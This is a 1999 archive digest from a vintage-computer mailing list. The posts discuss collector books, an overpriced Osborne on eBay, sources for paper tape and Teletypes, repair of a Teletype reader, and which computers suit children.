18:40:05 2005 Subject: cray, paper tape, collector's books, tek terminals, and WANTED In-Reply-To: <199901131533.IAA27458@canuck.com> Message-ID: On Wed, 13 Jan 1999, Victor the Cleaner wrote: > > Another one that I really like is Stan Veit's History of The Personal > > Computer it's a great reference source with photos so that you know what to > > look for. He writes a little history about each machine. It's still only $3 > > from the guy on ebay. John > > This is WELL worth it. I met Stan at his store in NYC back 79; very nice > chap. His book is a good write from someone who was there. I think it was poorly written but the information is there nonetheless. > I picked up both of these books at the museum in Bozeman, Montana. Listers > familiar with it? Funny little place. I heard those guys were clowns. Any truth to the rumor? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From Philip.Belben at pgen.com Wed Jan 13 10:37:38 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children Message-ID: <802566F8.006033A3.00@WESTD90.pgen.co.uk> >>But Linux is just fine as a newbie OS for a kid. > > At what level are you talking? I have not seen any sofware for kids (like > the knowledge adventure or humongous entertainment series) that would run on > Linux. It is hard to get a kid used to play with windows for 6 years and > tell him that it is crap and the one where you have to type long commands is > a lot better. At what level? At a "newbie" level, apparently, i.e. not one who has been using Lusedoze for six years. If I ever marry and have kids, I hope they won't be too disappointed that I don't allow MS Windows or Intel 80986 (or whatever) machines in the house :-) My folks were never into computers or electronics or anything of that nature. But once the school got a PET (1979), and parents found out that I spent every break time in the school computer room, regardless of whether I could book time on the machine, they got me one for my next birthday. (Yes I still have it). Some of their house rules I may well implement if I raise a family, though. Like no TV during the summer holiday. (I'd prefer no TV at all, but one must compromise occasionally) Philip. From arfonrg at texas.net Wed Jan 13 13:15:04 1999 From: arfonrg at texas.net (Arfon Gryffydd) Date: Sun Feb 27 18:40:05 2005 Subject: Paper tape and Cards (and maybe ttys) In-Reply-To: References: <199901131533.IAA27458@canuck.com> Message-ID: <3.0.3.32.19990113131504.00955bc0@texas.net> Is there still a source for paper tape and punch cards (new or old)? Is there also a source for old mechanical ttys? I'd love to get one connected to one of my Linux boxes! Arfon From steverob at hotoffice.com Wed Jan 13 13:16:55 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:05 2005 Subject: Rescue needed: Prime hardware w/software! Message-ID: <01BE3EFF.601E1780.steverob@hotoffice.com> Group, I've been looking to get involved in the rescue of a mini and it look like this one could be close to home (<100 miles). From rhblake at bigfoot.com Wed Jan 13 13:21:49 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:05 2005 Subject: IBM type 4836? References: Message-ID: <369CF24C.61233B3F@bigfoot.com> The guy is supposed to bring the main unit in today at work and I can see what this thing is up close. I have a feeling he's misread it as his physical description sounds a lot like a PC or XT. David Wollmann wrote: > On Tue, 12 Jan 1999, Russ Blakeman wrote: > > > A friend asked me about what he says is an IBM unit that is running > > Windows 3.1 and he says it says a type 4836. That number isn't clciking > > with me, anyone have any ideas of what this is, or is he possibly > > reading a tag from an add-on/in card? I saw a reference in IBM Finland > > to a 4836 multiplatform emulation card but nothing else. > > > > IIRC, 4830 is IBM's POS platform. I could be wrong, I've just consumed massive > amounts of refined sugar. > > -- > David Wollmann > DST / DST Data Conversion > http://www.ibmhelp.com/ > > ICQ: 10742063 > AIM: FathomS36 From rhblake at bigfoot.com Wed Jan 13 13:29:05 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:05 2005 Subject: Osborne 01 for only $5000.00 References: <199901131155.LAA12134@nixpbe.pdb.sni.de> Message-ID: <369CF400.486652FE@bigfoot.com> Also note that all bidders on this item are rookies, no feedback built up or very little. Most that I checked have been on ebay since just before Christmas. That's part of the reasoning that they are bidding on an item that's well over $400 and still hasn't met it's "reserve" price. If the item doesn't get to his ridiculous reserve, he doesn't have to honor the sale when it closes and can relist it again. Hans Franke wrote: > > An Osborne 01 for an opening bid of only $5000.00 HeHeHe!!! > > As stated in the ad it could be a "Corner Stone" of your computer > > collection.. > > > He is even generous enough to include free shipping.. HeHe!! > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=50980862 > > > Funny thing there are no bids on it yet.. > > Now he has relisted: > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55156048 > and the price is building up, fairly high through (355USD). > (Also the Shipment is no longer free :) > > Gruss > H. > > -- > Ich denke, also bin ich, also gut > HRK -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/35a35244/attachment.html From arfonrg at texas.net Wed Jan 13 13:37:12 1999 From: arfonrg at texas.net (Arfon Gryffydd) Date: Sun Feb 27 18:40:05 2005 Subject: OT: Kids and Linux... In-Reply-To: <3.0.5.32.19990111084701.00f79740@pc> References: Message-ID: <3.0.3.32.19990113133712.0092c880@texas.net> I for set up a pentium for the kids to learn on and since thier attention span is about 12uS before jumping to a new activity, I am giving them a net connection.... I want to be responsible about this by: 1) Keeping the computer in the family room where we, the 'adults' are 80% of the time. 2) Making sure that I or sweetie-pie have to make the net connection. 3) Using some parental controls software. Problem is: Is there ANY parental control software for Linux???? I want the kids to get used to real computer enviroments (like Unix ) and not M$. From rhblake at bigfoot.com Wed Jan 13 13:35:56 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:05 2005 Subject: Osborne 01 for only $5000.00 References: <199901131155.LAA12134@nixpbe.pdb.sni.de> Message-ID: <369CF59B.70E9578B@bigfoot.com> Presently the bidder is from the Netherlands. I wrote the seller to see if I can get a ballpark idea of what his reserve is, we'll see if maybe he's concocted a roundabout way to still get the $5000 for the machine. I really don't care if it was serial number 000002, I don't see the value in it myself after seeing 30 or 40 of the same machines run over with a bulldozer back 8 or so yrs ago in a military surplus yard on a base I was on that is now closed in Illinois. Hans Franke wrote: > > An Osborne 01 for an opening bid of only $5000.00 HeHeHe!!! > > As stated in the ad it could be a "Corner Stone" of your computer > > collection.. > > > He is even generous enough to include free shipping.. HeHe!! > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=50980862 > > > Funny thing there are no bids on it yet.. > > Now he has relisted: > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55156048 > and the price is building up, fairly high through (355USD). > (Also the Shipment is no longer free :) > > Gruss > H. > > -- > Ich denke, also bin ich, also gut > HRK -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/9761cbae/attachment.html From rhblake at bigfoot.com Wed Jan 13 13:41:48 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:05 2005 Subject: Osborne 01 for only $410.50+ References: <199901131155.LAA12134@nixpbe.pdb.sni.de> <369CC622.ED63F591@rain.org> Message-ID: <369CF6FB.5CE2874B@bigfoot.com> Marvin wrote: > BTW, notice the serial number (01497) with the comment "This probably > shipped the first week" . I really don't mind ebay sales, but I > *really* dislike sellers spouting ignorance to try and build prices! You and I both. I had a PS/2 model 50Z that was in the first 500 by serial number but it still went for $7.95 plus shipping. Granted the PS/2 isn't as "rare" as the Osborne I but your point about the seller abusing his or her comments to make the unit sell for more is ridiculous. Sure I'd like to sell an Osborne I, or even my kaypro 2X, for that kind of money as I know I can always find another at a more reasonable amount. As it is the guy probably was given the machine by someone that had it in their closet since day 1 and is out to find the finest of P.T. Barnums example of "a sucker born every minute". From cmcmanis at freegate.com Wed Jan 13 14:02:11 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:05 2005 Subject: Paper tape and Cards (and maybe ttys) In-Reply-To: <3.0.3.32.19990113131504.00955bc0@texas.net> References: <199901131533.IAA27458@canuck.com> Message-ID: <4.1.19990113120116.00a51100@mailhost.hq.freegate.com> Western Numerical Supply in Grass Valley California sells paper tape. I bought some from them for an ASR 33 I've been restoring. Getting mechanical TTYs is somewhat difficult at the moment. --Chuck At 01:15 PM 1/13/99 -0600, you wrote: >Is there still a source for paper tape and punch cards (new or old)? > >Is there also a source for old mechanical ttys? I'd love to get one >connected to one of my Linux boxes! > > >Arfon From SUPRDAVE at aol.com Wed Jan 13 13:59:38 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:05 2005 Subject: IBM type 4836? Message-ID: <251c3107.369cfb2a@aol.com> In a message dated 1/13/99 11:30:14 AM Pacific Standard Time, rhblake@bigfoot.com writes about the 4846 machine type: << The guy is supposed to bring the main unit in today at work and I can see what this thing is up close. I have a feeling he's misread it as his physical description sounds a lot like a PC or XT. >> probably so. then again, i spoke with more than one induhvidual who has a 3278 terminal or similar thinking they actually got a working computer to run windows. david From dwollmann at ibmhelp.com Wed Jan 13 14:10:53 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:05 2005 Subject: IBM type 4836? In-Reply-To: <369CF24C.61233B3F@bigfoot.com> Message-ID: On Wed, 13 Jan 1999, Russ Blakeman wrote: > The guy is supposed to bring the main unit in today at work and I can see what > this thing is up close. I have a feeling he's misread it as his physical > description sounds a lot like a PC or XT. > > David Wollmann wrote: > > > On Tue, 12 Jan 1999, Russ Blakeman wrote: > > > > > A friend asked me about what he says is an IBM unit that is running > > > Windows 3.1 and he says it says a type 4836. That number isn't clciking > > > with me, anyone have any ideas of what this is, or is he possibly > > > reading a tag from an add-on/in card? I saw a reference in IBM Finland > > > to a 4836 multiplatform emulation card but nothing else. > > > The POS machines have been built on 5160, 5170 and lately (the last ones I saw up close were about six months ago) on a PC Server box. I think there were a couple iterations built on PS/2s, as well. > > > > IIRC, 4830 is IBM's POS platform. I could be wrong, I've just consumed massive > > amounts of refined sugar. > > > > -- > > David Wollmann > > DST / DST Data Conversion > > http://www.ibmhelp.com/ > > > > ICQ: 10742063 > > AIM: FathomS36 > -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From sinasohn at ricochet.net Wed Jan 13 14:12:45 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children Message-ID: <3.0.16.19990113114603.4a873d08@ricochet.net> At 06:15 PM 1/12/99 -0500, you wrote: >> This'll probably offend many. >paintbrush programs for four years before graduating to doom. Ooh, like doom is so great for kids! 8^) Actually, if you wait until a kid is 8 or so before introducing them to computers, you've wasted a lot of their time. 18 months is the recommended earliest a kid should start with a computer, but if you want to sit them on your lap while you work before that, I think it's okay. At 18months, windows versus mac doesn't really matter much; it's the application software that's important. If you can get Reader Rabbit/Playroom/Jumpstart for Unix (or CP/M or PDP-8) then go for it. But to say that a kid should not be introduced to computers until they can read enough to use unix or can handle a soldering iron is to do a major disservice to the kid. For an 8 year old (the original question) who has probably already learned to read/write/type, and understands running a program, and has used other computers, a C-64 is a fine machine to muck around with, spill soda on, play with BASIC on. (Though I'd vote for Atari myself. 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From manney at lrbcg.com Wed Jan 13 14:18:36 1999 From: manney at lrbcg.com (PG Manney) Date: Sun Feb 27 18:40:05 2005 Subject: WTB: Mac IIsi Monitor Message-ID: <01be3f31$e66245a0$01bfbfbf@toshiba-115cs> A Customer needs a Mac IIsi monitor. Please email you offering to manney@lrbcg.com or call (419) 663-0700 (Work) 9-5, EST or (419) 663-3371 (Home) Thank you. From rhblake at bigfoot.com Wed Jan 13 14:20:09 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:05 2005 Subject: NCR pics site Message-ID: <369CFFF8.71B249C2@bigfoot.com> In case anyone needs pictures of various NCR items from 1879 to present, there is a page at http://www3.ncr.com/product/retail/gallery/ that has all sorts of pics to include PC's and even a cash register in use in Malaysia in 1910. Did Malaysia even have an economy then? By the way, they moved their support files for NCR and AT&T 63XX machines (setup disks) to the following site:http://www3.ncr.com/support/pc/pcdesc/ and the pages tied to it. From spc at armigeron.com Thu Jan 14 14:23:32 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:05 2005 Subject: OT: Kids and Linux... In-Reply-To: <3.0.3.32.19990113133712.0092c880@texas.net> from "Arfon Gryffydd" at Jan 13, 99 01:37:12 pm Message-ID: <199901142023.PAA08516@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1161 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/3d2ae23c/attachment.ksh From donm at cts.com Wed Jan 13 14:33:44 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:05 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: Message-ID: On Wed, 13 Jan 1999, cswiger wrote: > >Hey, Chuck. Do you happen to remember approximately when that Shannon > >article appeared? Berkeley had many logic toys and robots, including a > > Ok - don't have the Scientific Earthling article that a similar > project appeared in, but found in an IEEE book "C.E. Shannon: > Collected Papers" one called "Presentation of a Maze-Solving > Machine" - from "Transactions 8th Cybernetics Conference, > Josiah Macy Jr. Foundation, 1952". > > Is a thick and chewy book. Also, get this - in the paper on > "Programming a computer for Playing Chess" (National IRE > Conference, March 9, 1949), he referances the game of Nim, > and that a machine able to play a perfect game has been > constructed - Condon, Tawney and Derr, U.S. Patent 2,215,544. > The "Nimotron" based on this patent was built and exhibited > by Westinghouse at the 1938 New York World's Fair. > That would also be about the time that they exhibited their robot man. Gawd, I wish I could think of 'his' name. Pretty limited abilities, but could move and do some rather simple things. - don > Chuck > cswiger@widomaker.com > > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From dpeschel at u.washington.edu Wed Jan 13 14:47:42 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:05 2005 Subject: Paper tape and Cards (and maybe ttys) In-Reply-To: <4.1.19990113120116.00a51100@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 13, 99 12:02:11 pm Message-ID: <199901132047.MAA28525@saul1.u.washington.edu> > Western Numerical Supply in Grass Valley California sells paper tape. I > bought some from them for an ASR 33 I've been restoring. Getting mechanical > TTYs is somewhat difficult at the moment. > --Chuck What do you mean "at the moment"? I've thought about buying a Teletype for fun (haven't decided which model -- I suppose the 5-bit ones are a lot simpler to maintain). The sources I would check are this list, ham radio swapmeets/rallies, organizations for the deaf (since Teletypes have had long and honorable service as TDD's), and all the other usual places. But I don't know the prospects or the prices. So your message had me a bit worried -- What made you write that? Do you expect the situation to improve? OK, there is a local museum with a nice collection -- they might have pointers too but somehow I doubt they would sell any of their machines. -- Derek From donm at cts.com Wed Jan 13 14:54:51 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:05 2005 Subject: cray, paper tape, collector's books, tek terminals, and WANTED In-Reply-To: <199901131533.IAA27458@canuck.com> Message-ID: On Wed, 13 Jan 1999, Victor the Cleaner wrote: **** snip **** > > Now, the WANTED part: > > I need an oddball PC motherboard for some development work I'm engaged in. > The weird part is that it has to have an 80186 CPU, in either socketed DIP > or socketed PLCC. Can anyone help? Jonathan, a couple of possibilities. First, the Ampro Littleboard/186 if the PC motherboard format is not vital. Second, I understand that the Tandy 2000 was an 80186 based machine. - don From eric at brouhaha.com Wed Jan 13 15:03:28 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:05 2005 Subject: Apple monitor question In-Reply-To: <3.0.1.16.19990113094552.306f0018@intellistar.net> (message from Joe on Wed, 13 Jan 1999 09:45:52) References: <3.0.1.16.19990113094552.306f0018@intellistar.net> Message-ID: <19990113210328.28848.qmail@brouhaha.com> Joe wrote: > On my computer scrounging trip yesterday I found a BIG monitor marked > "Apple Composite 2 page monitor". Anyone know exactly wha that is? I've > never heard of one before. What systems does it work on? It's a two-page monochrome monitor. You need the associated Nubus card to make it work. It might work on some later macs with built-in video; you'd have to check with a serious Mac-head (or www.apple.com) to find out. Eric From cmcmanis at freegate.com Wed Jan 13 15:27:01 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:05 2005 Subject: Paper tape and Cards (and maybe ttys) In-Reply-To: <199901132047.MAA28525@saul1.u.washington.edu> References: <4.1.19990113120116.00a51100@mailhost.hq.freegate.com> Message-ID: <4.1.19990113131918.00a7b460@mailhost.hq.freegate.com> When I got the PDP-8/e I wanted to add a Teletype (ASR-33) for its console. This being the one true console for a PDP-8. So I started looking around, then deeper, then deeper still. After going to many ham swaps, lots of the Silicon Valley surplus scene, and the Internet I determined that 1996 was the year of the great TTY purge. Literally dozens of people told me, "I junked n of them last year." (in 1997 of course). I then began advertising and eventually put up posters in a couple of the more well known "surplus" places around town offering $100 for one in good condition. I got serveral calls, many because and ASR-32 (5 bit TELEX machine) had shown up, and a few "How about an KSR-43?" (got one of those), and a couple of "I've only got pieces of one." I've collected a bunch of pieces and have been restoring some of them. I then was contacted by a wonderful person in Utah who actually had a running one and I bought it from him. However, that one was not wired for current loop (it had some home brewed RS-232 converter on it) and it's reader is not functioning. (No idea why yet.) I say "at the moment" because I cannot tell if this lull is permanent or temporary. Lots of machine shops had ASR-33's and they might be converting them at some point. Jim Willing was looking for one too, I don't know if he found one or not. I know of two others, but how they will go is unknowable to me. --Chuck At 12:47 PM 1/13/99 -0800, you wrote: >> Western Numerical Supply in Grass Valley California sells paper tape. I >> bought some from them for an ASR 33 I've been restoring. Getting mechanical >> TTYs is somewhat difficult at the moment. >> --Chuck > >What do you mean "at the moment"? > >I've thought about buying a Teletype for fun (haven't decided which model -- >I suppose the 5-bit ones are a lot simpler to maintain). The sources I >would check are this list, ham radio swapmeets/rallies, organizations for >the deaf (since Teletypes have had long and honorable service as TDD's), and >all the other usual places. But I don't know the prospects or the prices. > >So your message had me a bit worried -- What made you write that? Do you >expect the situation to improve? > >OK, there is a local museum with a nice collection -- they might have >pointers too but somehow I doubt they would sell any of their machines. > >-- Derek From gregorym at cadvision.com Wed Jan 13 15:42:08 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:40:05 2005 Subject: Bozeman MT Computer Museum [WAS: Re: cray, paper tape, collector's books, tek terminals, and WANTED] Message-ID: <3.0.32.19990113144206.006f2a98@cadvision.com> At 10:19 AM 1/13/99 -0800, you wrote: >> I picked up both of these books at the museum in Bozeman, Montana. Listers >> familiar with it? Funny little place. > >I heard those guys were clowns. Any truth to the rumor? > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > I'd have to disagree. Other than the oddity of being located in Montana (not exactly a hub of high-tech industry), I found the Museum well put together, with an interesting collection. It is small, though, and probably isn't worth a detour of more than 200 miles. There were < 10 "big iron" mainframes, < 20 of the usual minis, with a small collection of micros (20-30) - the latter weren't described in much detail. The exhibits are arranged more or less chronologically by technology, starting with mechanical computing devices (Hollerith Census machines, Comptometers), moving on to electro-mechanical machines, then to tubes, transistors, and microchips. Many of the machines are arranged in office environments that replicate what they might have looked like when in use, and there is some interesting supporting material (advertisements from the era, etc). The tour guides are very friendly, and knowledgeable enough to answer questions from the general public. It's a good place to introduce kids to many of the technologies and some of the people involved in the development of computers; most of the people on this list would probably find it less interesting. Much like computer collecting, computer museums are still in their infancy, so let's not judge too harshly. For the record, the place is The American Computer Museum, 234 East Babcock St., Bozeman, MT, 59715, tel (406) 587-7545, fax (406) 587-9620. No Web site or email AFAIK. And I have no affiliation, professional or personal, with the place. Cheers, Mark. From meo at netads.com Wed Jan 13 15:55:57 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:05 2005 Subject: Silent 700 In-Reply-To: from "Tony Duell" at Jan 12, 99 10:22:21 pm Message-ID: <199901132155.PAA05081@wildride.netads.com> Tony Duell said... | |> |> Hey all, I've got a TI Silent 700 printing terminal, not the | |There were various internal options, I think, like an internal modem. I'm fairly certain ours had an empty slot or two. I'd suggest hookit it up and trying it out. Nothing should fry just because a board is missing. From jimw at agora.rdrop.com Wed Jan 13 15:54:25 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:05 2005 Subject: TTYs and hunting and readers (was - Re: Paper tape and Cards... In-Reply-To: <4.1.19990113131918.00a7b460@mailhost.hq.freegate.com> Message-ID: On Wed, 13 Jan 1999, Chuck McManis wrote: > When I got the PDP-8/e I wanted to add a Teletype (ASR-33) for its console. > This being the one true console for a PDP-8. Well... Maybe a '35 in a REAL large configuration... B^} > So I started looking around, > then deeper, then deeper still. After going to many ham swaps, lots of the > Silicon Valley surplus scene, and the Internet I determined that 1996 was > the year of the great TTY purge. Literally dozens of people told me, "I > junked n of them last year." (in 1997 of course). Sad, isn't it? But never give up! Far too often you just have to turn over one more rock! > ... I then was contacted by a wonderful person in Utah > who actually had a running one and I bought it from him. See, what did I tell you! > However, that one > was not wired for current loop (it had some home brewed RS-232 converter on > it) and it's reader is not functioning. (No idea why yet.) OK. A bit of seriousness here. In most of the TTYs I've worked on (fought with?) over the years, when a reader suddenly (more or less) goes non-functional, it is usually because the clutch trip solenoid has gone south. (the coil usually goes open) Disclaimer for next steps - BEWARE moving mechanical parts and exposed voltage sources within the device that are unshielded when the cover is removed! If you are not familiar with safety procedures for working in this environment, or are uncomfortable doing such things... STOP and find someone who is! Easiest way to tell for sure is to pull the top cover off, put a tape in the reader, and move the control lever to the 'run' position. Based on your description, nothing will happen... Locate the reader transmission clutch solenoid (rear of the machine, slightly in from the right side, above the main shaft), and the lever that is latched by the solenoid. Manually trip the solenoid. (briefly, don't hold it down) If the clutch cycles with a loud clunk, accompanied by the reader executing one read cycle and advancing the tape, (and possibly the unit printing the tape character that was read) congradulations. You have found the problem! Now, you just need to decide how to fix/replace the coil. (too long a procedure to go into here) > I say "at the moment" because I cannot tell if this lull is permanent or > temporary. Lots of machine shops had ASR-33's and they might be converting > them at some point. Jim Willing was looking for one too, I don't know if he > found one or not. I know of two others, but how they will go is unknowable > to me. As with many things like this, its either flood or famine. I found one after much struggle, and then ended up with multiples! And then, an ASR-38 popped up! Again, it just took finding the right rock to look under... Now I'm seeking the more elusive ASR-35 or 37! And before anyone starts drooling, yes I am open for trades... Just what I don't know yet. I still could use a MITS 'turnkey' card for an 8800B turnkey unit... or a 'straight-8'! B^} (hey... I can dream!) -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From mtapley at swri.edu Wed Jan 13 15:32:24 1999 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <199901130802.AAA28194@lists3.u.washington.edu> Message-ID: All, The perfect computer for a child? A NeXT Station, complete with Developer software if you can get it. NeXTStep Version 3.3 is fine (minor Y2K fixes needed), Openstep 4.2 would be better. A monochrome slab, 16M RAM/400M Disk ought to be about $200 (Hmm... Deepspace Technologies (http://www.deepspacetech.com/)is selling them for $135, but no Developer software). There are Spreadsheets, Word Processors, Web Browsers, and Presentation Packages available for it for *free* (download from a web site, no-cost license for single users). The Development environment runs Objective-C, a completely OO system which is carried right through the entire operating system. Regular C supported too (but I don't think C++ or Pascal.) The experience starts with an easy, gui interface and progresses easily right up to Mach UNIX. Networking is built-in ethernet, with GUI configuration tools (work great with other NeXTs) and Unix command-line accessibility if you want more complicated stuff. Mathematica will run on it, though that costs a *lot* unless you are lucky enough to get it included on your machine. There's also a fair amount of music software as well, which I can't really comment on because I don't know much about it. It's big, rugged (well, the mouse cable and kb cable are a bit vulnerable) and impressive. Best of all, there are not very many games that run on it. :-) - Mark From ard at p850ug1.demon.co.uk Wed Jan 13 12:43:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <002f01be3ea8$f6067a00$a943fea9@francois> from "Francois" at Jan 12, 99 09:58:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1063 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/31d65091/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 13:11:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <199901131428.AA29003@world.std.com> from "Megan" at Jan 13, 99 09:28:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 991 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/626290a1/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 12:46:58 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: from "Sam Ismail" at Jan 12, 99 09:50:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 547 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/c0185ce9/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 12:51:05 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:05 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: from "Sam Ismail" at Jan 12, 99 10:10:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1772 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/62aef320/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 13:02:11 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:05 2005 Subject: Greetings and Questions In-Reply-To: <000a01be3ec9$6dd6e0e0$0a16d480@oemcomputer> from "Kirk Davis" at Jan 12, 99 11:50:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2720 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/b56f7605/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 13 14:06:27 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children In-Reply-To: <199901131723.RAA26899@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 13, 99 06:23:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1673 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/199fb1c7/attachment.ksh From sinasohn at ricochet.net Wed Jan 13 16:37:33 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children Message-ID: <3.0.16.19990113132723.49dfa8c8@ricochet.net> At 01:09 AM 1/13/99 +0000, you wrote: >> There are a lot of *really* good educational programs out there nowadays. >> Davidson, Learning Company, Br0derbund are some good names. They can >> really help kids get ahead. My niece is already reading at 4yo thanks to >> Interactive Reading Journey. (Not a record by any stretch, but no one is >> really pushing her.) > >Hmmmm... I am convinced that the age a child starts to read, and the >interest he takes in obtaining information has a lot more to do with the >parents than with computer programs. True, but there are several instances where good software can make a lot of difference. First, many parents don't have training in how to teach a kid to read, so the software can be a good assistant. For children with a learning disability, the software can make a huge difference. And even for the best of parents, getting a kid to read is probably not as much fun as playing the "games" used in these programs. In the US, however, a lot of parents don't have the time/energy/interest to work with their kids (yes, I know it should be a crime) so the software can take over some of the work, so that the parent's limited time/energy/interest can be directed towards the topics that a computer can't handle. I'm not saying that if a kid doesn't have a G3 Mac with all the software, they'll end up working at McDonalds their whole life, but it can certainly help them make the most of their potential without running everyone concerned ragged. btw, on a similar (and potentially off-topic) topic, does anyone have a source for affordable quantities (like 20) SCSI CD-ROM drives? 2x is fine, 4x is more than enough. External would be idea, but internal is acceptable as well. They're for my girlfriend's classroom. Thanks! --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Wed Jan 13 16:37:34 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children Message-ID: <3.0.16.19990113133544.49dfb138@ricochet.net> At 09:13 PM 1/12/99 -0500, you wrote: >Yup... and you can't put margin notes in a CDROM. Well, with well-written software, you should be able to include linked notes (virtual post-its) on the hard drive... Even so, I would much rather carry a laptop with CD and an unlinked file of notes than a shelf full of paperware. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Wed Jan 13 16:37:34 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:05 2005 Subject: Computers for children Message-ID: <3.0.16.19990113135634.49df8c46@ricochet.net> At 06:44 AM 1/13/99 -0800, you wrote: >But not in most microcomputer BASICs. The Apple II, Atari and C64 all lack >BEGIN-BEND, WHILE-WEND, block IFs; the 64 doesn't even have ELSE. While-Wend (and Do While/Do Until) is just a shortcut for using If/Goto: 